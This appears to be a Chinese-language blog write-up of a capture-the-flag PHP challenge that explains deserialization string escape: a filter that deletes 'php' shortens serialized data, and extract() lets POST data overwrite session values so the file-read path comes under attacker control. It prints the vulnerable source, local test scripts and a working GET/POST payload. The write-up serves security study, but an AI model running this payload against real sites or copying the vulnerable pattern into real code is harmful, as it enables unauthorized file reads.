还是先挂着参考文章
简单分析
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);//将名单中的字符串替换为空【字符串减少造成逃逸】
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//变量覆盖,将_SESSION[user]、_SESSION[function]作为变量名,反序列化入口
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){//无论$_GET['img_path']存不存在,$_SESSION['img']的值都是我们不可控的
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //根据提示,在phpinfo中的auto_append_file上面找到d0g3_f1ag.php
}else if($function == 'show_image'){//$_GET['f'];的值为show_image才执行下面的反序列化
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
} //$_SESSION['img']的值是我们要读取的文件名,但它的值我们不可控,所以要构造字符串逃逸,使$_SESSION['img']的值可控
构造逃逸
<?php
//本地测试
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = '';
$_SESSION['function'] ='Y';
$_SESSION['img']="ZDBnM19mMWFnLnBocA==";
//ZDBnM19mMWFnLnBocA==是base64编码后的d0g3_f1ag.php
extract($_POST);
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
//结果
a:3:{s:4:"user";s:0:"";s:8:"function";s:1:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
其中";s:8:“function”;s:1:"Y是要被吞掉字符串,共24位,24/3=8,也就是需要8个php
";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}是要通过逃逸添加进去的字符串
payload:
GET:?f=show_image
POST:_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}
需要在后面添加一个属性,保障能正常反序列化 然后右键源码找到真的flag文件,将其base64编码后替换原本的ZDBnM19mMWFnLnBocA==即可(两者长度都是20位,所以可以直接替换)
本地验证:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"]='phpphpphpphpphpphpphpphp';
$_SESSION['function'] ='Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']="XXX";
extract($_POST);
$serialize_info = (serialize($_SESSION));
echo $serialize_info;
过滤前:
a:3:{s:4:"user";s:24:"phpphpphpphpphpphpphpphp";s:8:"function";s:42:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"XXX";}
过滤后:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"XXX";}
过滤前的8个php是user的值,过滤后8个php被替换为空,但user的长度24没有改变,所以user会往右边“吞噬”24个字符,将其作为自身的值。
所以";s:8:“function”;s:1:“Y变成了user的值,而”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}闭合前后,将原本的img取而代之,成功通过字符串逃逸控制$_SESSION[‘img’]的值
3950

被折叠的 条评论
为什么被折叠?



